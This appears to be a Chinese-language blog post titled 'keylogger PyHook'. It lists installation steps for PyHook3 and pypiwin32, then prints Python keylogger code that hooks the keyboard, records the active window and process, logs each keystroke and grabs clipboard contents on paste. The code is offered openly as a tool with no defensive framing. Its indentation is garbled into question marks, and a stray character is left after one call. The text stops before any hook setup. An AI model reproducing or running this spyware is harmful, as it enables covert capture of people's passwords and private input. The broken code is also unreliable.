鍵盤記錄PyHook
安裝依賴包
pip install pypiwin32

pip3 install PyHook3
若報錯,看看是不是 swig.exe找不到(下載swigwin解壓配置環(huán)境變量即可)
PyHook3 的下載與安裝_星空ホシゾラ的博客-CSDN博客_pyhook下載


from ctypes import *
import pythoncom
import PyHook3 as pyHook
import win32clipboard
user32 = windll.user32
kernel32 = windll.kernel32
psapi = windll.psapi
current_window = None
def get_current_process():
? ?# get a handle to the foreground window
? ?hwnd = user32.GetForegroundWindow()
? ?# find the process ID
? ?pid = c_ulong(0)
? ?user32.GetWindowThreadProcessId(hwnd, byref(pid))
? ?# store the current process ID
? ?process_id = "%d" % pid.value
? ?# grab the executable
? ?executable = create_string_buffer(b"\x00" * 512)
? ?h_process = kernel32.OpenProcess(0x400 | 0x10, False, pid)
? ?psapi.GetModuleBaseNameA(h_process, None, byref(executable), 512)
? ?# now read it's title
? ?window_title = create_string_buffer(b"\x00" * 512)
? ?length = user32.GetWindowTextA(hwnd, byref(window_title), 512)
? ?# print out the header if we're in the right process
? ?print()
? ?print("[ PID: %s - %s - %s ]" % (
? ?process_id, executable.value.decode(encoding='GB2312'), window_title.value.decode(encoding='GB2312')))
? ?# close handles
? ?kernel32.CloseHandle(hwnd)
? ?kernel32.CloseHandle(h_process)
def KeyStroke(event):
? ?global current_window
? ?# check to see if target changed windows
? ?if event.WindowName != current_window:
? ? ? ?current_window = event.WindowName
? ? ? ?get_current_process()
? ?# if they pressed a standard key
? ?if 32 < event.Ascii < 127:
? ? ? ?print(chr(event.Ascii))
? ?else:
? ? ? ?# if [Ctrl-V], get the value on the clipboard
? ? ? ?# added by Dan Frisch 2014
? ? ? ?if event.Key == "V":
? ? ? ? ? ?win32clipboard.OpenClipboard()A
? ? ? ? ? ?pasted_value = win32clipboard.GetClipboardData()
? ? ? ? ? ?win32clipboard.CloseClipboard()
? ? ? ? ? ?print("[PASTE] - %s" % pasted_value)
? ? ? ?else:
? ? ? ? ? ?print("[%s]" % event.Key)
? ?# pass execution to next hook registered
? ?return True